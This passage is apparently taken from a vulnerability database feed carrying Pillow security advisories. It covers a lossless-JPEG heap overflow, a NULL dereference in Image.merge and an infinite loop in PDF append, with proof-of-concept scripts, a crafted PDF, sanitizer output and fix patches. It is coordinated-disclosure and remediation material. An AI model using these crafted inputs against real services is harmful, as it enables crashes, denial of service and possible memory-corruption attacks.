0x10000\n            ssss = category(d)\n            code, length = CODES[ssss]\n            bw.put(code, length)\n            if ssss:\n                v = d if d > 0 else d + (1 << ssss) - 1\n                bw.put(v & ((1 << ssss) - 1), ssss)\n        prev = row\n    entropy = bw.flush()\n\n    out = bytearray()\n    out += b\"\\xff\\xd8\"                                        # SOI\n    # DHT: class 0 (DC/lossless), table id 0\n    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)\n    out += b\"\\xff\\xc4\" + struct.pack(\">H\", len(dht) + 2) + dht\n    # SOF3: lossless, Huffman, sequential\n    sof = struct.pack(\">BHHB\", 8, H, W, 1) + bytes([1, 0x11, 0])\n    out += b\"\\xff\\xc3\" + struct.pack(\">H\", len(sof) + 2) + sof\n    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0\n    sos = bytes([1, 1, 0x00, 1, 0, 0])\n    out += b\"\\xff\\xda\" + struct.pack(\">H\", len(sos) + 2) + sos\n    out += entropy\n    out += b\"\\xff\\xd9\"                                        # EOI\n    with open(path, \"wb\") as f:\n        f.write(bytes(out))\n    print(f\"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless\")\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1] if len(sys.argv) > 1 else \"/tmp/sof3_gray_1200x1100.jpg\")\n```\n\n### `trigger.py`\n\n```python\nimport sys\nfrom PIL import Image, features\nprint(\"Pillow\", Image.__version__, \"| libjpeg\", features.version(\"jpg\"), flush=True)\nim = Image.open(\"/tmp/sof3_gray_1200x1100.jpg\")\nprint(\"format=%s mode=%s size=%s\" % (im.format, im.mode, im.size), flush=True)\nprint(\">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer\", flush=True)\nsys.stdout.flush()\ntry:\n    im.thumbnail((256, 256))\n    print(\"thumbnail returned, size=%s\" % (im.size,), flush=True)\nexcept Exception as e:\n    print(\"exception: %r\" % (e,), flush=True)\n```\n\nValidated output:\n\n```\nPillow 13.0.0.dev0 | libjpeg 6.2\nformat=JPEG mode=L size=(1200, 1100)\n>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer\n=================================================================\n==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422\nWRITE of size 1200 at 0x74e4e904aad8 thread T0\n    #0 __asan_memcpy\n    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5\n    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3\n    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3\n    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3\n    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22\n    #6 _decode /src/repo/src/decode.c:132:14\n\n0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)\nallocated by thread T0 here:\n    #0 calloc\n    #1 _setimage /src/repo/src/decode.c:230:34\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy\n```\n\nNegative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` computed it.\n\n```\ncontrol baseline DCT JPEG: JPEG L (1200, 1100)\nthumbnail OK, size = (256, 235) -- no ASan report\n```\n\n## Scope and caveats\n\n- Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which is current `origin/main` as of 2026-08-30. Also reported against 12.3.0.\n- Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.\n- No non-default Pillow configuration is involved: `Image.thumbnail()` calls `draft()` by default, and the triggering bytes are entirely file data.\n- Only paths that use `draft()` before loading are affected. `open().load()` and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path in an application today.\n- Not affected on the same code path: SOF11 (arithmetic lossless) fails with `JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by Pillow's `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with `JERR_SOF_UNSUPPORTED`.\n\n\n## Credit and disclosure\n\nFound by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.\n\nThis report follows Anthropic's coordinated vulnerability disclosure policy\n(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day\ndisclosure window from the date of this report.\n\nCredit goes to Claude (Anthropic) and Ada Logics.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112403"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112405","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-cp9v-662q-vvx9","CVE-2026-112405","BIT-pillow-2026-112405","PYSEC-2026-4333"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.2"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: NULL pointer dereference in Image.merge via an unvalidated band 0","details":"### Summary\n`Image.merge()` checks the mode of every input band except band 0. If band 0 is a single-band `I` or `F` image, the native merge routine reads a pixel pointer that is NULL for those modes and the process crashes. The IPTC plugin reaches this from a plain `Image.open()` followed by a load, and IPTC has no magic-byte prefilter, so a crafted file with no recognizable header can drive it.\n\n### Details\nThe validation loop skips band 0:\n\n- `src/PIL/Image.py:3795` iterates `for band in bands[1:]` and checks mode and size only for those.\n\nFor an `I` or `F` image the 8-bit plane `image8` is NULL (only `image32` is set). `ImagingMerge` dereferences `bands[0]->image8[y]` for the multi-band output modes:\n\n- `src/libImaging/Bands.c:302`, `:311`, `:321`\n\nThe IPTC loader builds the band list from an attacker-typed sub-image and passes it to merge with the sub-image at index 0:\n\n- `src/PIL/IptcImagePlugin.py:156-160`\n- `src/PIL/IptcImagePlugin.py:169` registers the opener with no accept function.\n\n### PoC\n```python\nfrom PIL import Image\n\n# Band 0 is a single-band \"I\" image: its image8 plane is NULL. merge() validates only\n# bands[1:], so the native ImagingMerge dereferences the NULL plane for band 0.\nband0 = Image.new(\"I\", (4, 4))\nImage.merge(\"RGB\", [band0, Image.new(\"L\", (4, 4)), Image.new(\"L\", (4, 4))])\n```\n\nRun it:\n```\n$ python 02_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000\n    #0 ImagingMerge   src/libImaging/Bands.c:311\n    #1 _merge         src/_imaging.c:2492\nSUMMARY: AddressSanitizer: SEGV src/libImaging/Bands.c:311 in ImagingMerge\n```\nThe null address confirms the dereference of the missing `image8` plane for band 0.\n\n### Impact\nNULL pointer dereference in a C extension. A crafted file opened and loaded through the IPTC path crashes the worker process. This is a hard crash, not a Python exception an application can catch.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-cp9v-662q-vvx9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112405"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/b6ee66e8b2c2c0932bdf65f963268d9f2927ef86"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-112406","published":"2026-10-22T09:13:55Z","modified":"2026-10-29T21:58:11Z","upstream":["GHSA-f2g6-542v-9j58","CVE-2026-112406","BIT-pillow-2026-112406"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.86.1_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"13.0.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","details":"```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n<</Type /Catalog /Pages 2 0 R>>\nendobj\n2 0 obj\n<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>\nendobj\n3 0 obj\n<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n  File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n    existing_pdf.write_catalog()\n  File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n    self.rewrite_pages()\n  File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n    while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -> None:\n    pages_tree_nodes_to_delete = []\n    for i, page_ref in enumerate(self.orig_pages):\n        page_info = self.cached_objects[page_ref]\n        del self.xref_table[page_ref.object_id]\n        pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n        …\n    # delete redundant Pages tree nodes from xref table\n    for pages_tree_node_ref in pages_tree_nodes_to_delete:\n        while pages_tree_node_ref:\n            pages_tree_node = self.cached_objects[pages_tree_node_ref]\n            if pages_tree_node_ref.object_id in self.xref_table:\n                del self.xref_table[pages_tree_node_ref.object_id]\n            pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n    self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard.\n\nThe unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0.\n\n## Impact\n\nAny application that appends pages to a PDF it did not produce — `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected.\n\nThis is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds.\n\nThe script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2:\n\n- `control` has `<</Type /Pages /Kids [3 0 R] /Count 1>>`. This is a normal file.\n- `cyclic` has `<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above.\n\nFor each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict.\n\nExpected output on this commit (PDF dumps omitted):\n\n```\n[control] append finished in 0.045s\n[cyclic] still running after 5s, interrupted in:\n    save()  /src/src/PIL/Image.py:2724  save_handler(self, fp, filename)\n    _save()  /src/src/PIL/PdfImagePlugin.py:263  existing_pdf.write_catalog()\n    write_catalog()  /src/src/PIL/PdfParser.py:473  self.rewrite_pages()\n    rewrite_pages()  /src/src/PIL/PdfParser.py:506  pages_tree_node = self.cached_objects[pages_tree_node_ref]\n    ...\nBUG\n```\n\nThe innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires.\n\n## Suggested fix\n\nBoth attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.\n\n**Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen:\n\n```python\n# src/PIL/PdfParser.py, rewrite_pages()\n        processed_pages_tree_nodes: set[IndirectReference] = set()\n        for pages_tree_node_ref in pages_tree_nodes_to_delete:\n            while pages_tree_node_ref:\n                if pages_tree_node_ref in processed_pages_tree_nodes:\n                    break\n                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                …\n```\n\nBreaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.\n\n**Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.\n\nEach patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`.\n\nNote that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change.\n\n## Related findings\n\n- **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** — the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N<sup>D</sup> object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` — verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests).\n\n## The patch (1 of 2)\n\nTrack visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..f841aca14 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None:\n def test_trailer_loop() -> None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -> None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"<</Type /Catalog /Pages 2 0 R>>\",\n+        b\"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>\",\n+        b\"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n<</Size 4 /Root 1 0 R>>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        pdf.write_catalog()\n+        pdf.write_xref_and_trailer()\n+        assert 2 in pdf.xref_table.deleted_entries\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9260cd8e7 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -501,8 +501,14 @@ class PdfParser:\n                     # replace the page reference with the new one\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n+        processed_pages_tree_nodes: set[IndirectReference] = set()\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n             while pages_tree_node_ref:\n+                if pages_tree_node_ref in processed_pages_tree_nodes:\n+                    # ancestors are shared between pages, and a malformed\n+                    # /Parent chain may loop back on itself\n+                    break\n+                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The patch (2 of 2)\n\nRaise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..24faeefbc 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None:\n def test_trailer_loop() -> None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -> None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"<</Type /Catalog /Pages 2 0 R>>\",\n+        b\"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>\",\n+        b\"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n<</Size 4 /Root 1 0 R>>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        with pytest.raises(PdfFormatError, match=\"page tree loop found\"):\n+            pdf.write_catalog()\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9021b8d63 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -502,7 +502,13 @@ class PdfParser:\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n+            processed_pages_tree_nodes = []\n             while pages_tree_node_ref:\n+                check_format_condition(\n+                    pages_tree_node_ref not in processed_pages_tree_nodes,\n+                    \"page tree loop found\",\n+                )\n+                processed_pages_tree_nodes.append(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 3,152 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.\n\nAppending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes\nrewrite_pages() walk each original page's /Parent chain upward until a node has\nno /Parent.  Nothing records which nodes were visited, so a /Pages node that\nnames itself as its own /Parent keeps the walk going forever.\n\nWe append a 4x4 image to two one-page PDFs that differ in one entry:\n  control - a normal PDF                          -> finishes in milliseconds\n  cyclic  - the /Pages root also says /Parent 2 0 R -> never finishes\nA SIGALRM watchdog interrupts the append and shows the line it was stuck on.\n\"\"\"\nimport io\nimport signal\nimport time\nimport traceback\n\nfrom PIL import Image\n\nWATCHDOG_S = 5\n\n\ndef make_pdf(pages_root):\n    \"\"\"Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.\"\"\"\n    objects = [\n        b\"<</Type /Catalog /Pages 2 0 R>>\",\n        pages_root,\n        b\"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>\",\n    ]\n    pdf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for num, body in enumerate(objects, start=1):\n        offsets.append(len(pdf))\n        pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body)\n    xref_offset = len(pdf)\n    pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\n    pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets)\n    pdf += b\"trailer\\n<</Size 4 /Root 1 0 R>>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset\n    return bytes(pdf)\n\n\nclass StillRunning(BaseException):\n    pass\n\n\ndef on_alarm(signum, frame):\n    raise StillRunning\n\n\ndef append_image(name, pdf):\n    \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\"\n    print(f\"--- {name}: {len(pdf)}-byte PDF ---\")\n    print(pdf.decode(\"latin-1\"), end=\"\")\n    signal.alarm(WATCHDOG_S)\n    start = time.monotonic()\n    try:\n        Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)\n    except StillRunning as e:\n        print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\")\n        for frame in traceback.extract_tb(e.__traceback__):\n            if \"/PIL/\" in frame.filename:\n                print(f\"    {frame.name}()  {frame.filename}:{frame.lineno}  {frame.line}\")\n        return False\n    except Exception as e:  # rejecting the file is a correct, safe outcome\n        print(f\"[{name}] raised {type(e).__name__}: {e}\")\n        return True\n    finally:\n        signal.alarm(0)\n    print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\")\n    return True\n\n\nsignal.signal(signal.SIGALRM, on_alarm)\n\n# Set up: the well-formed file is appended to instantly.\ncontrol = make_pdf(b\"<</Type /Pages /Kids [3 0 R] /Count 1>>\")\nif not append_image(\"control\", control):\n    print(\"control case did not finish; environment problem, no verdict\")\n    print(\"OK\")\n    raise SystemExit\n\n# Attack: the same file, except the /Pages root is its own /Parent.\ncyclic = make_pdf(b\"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>\")\nfinished = append_image(\"cyclic\", cyclic)\n\n# Verify: a fixed parser finishes (or rejects the file) like the control.\nprint(\"BUG\" if not finished else 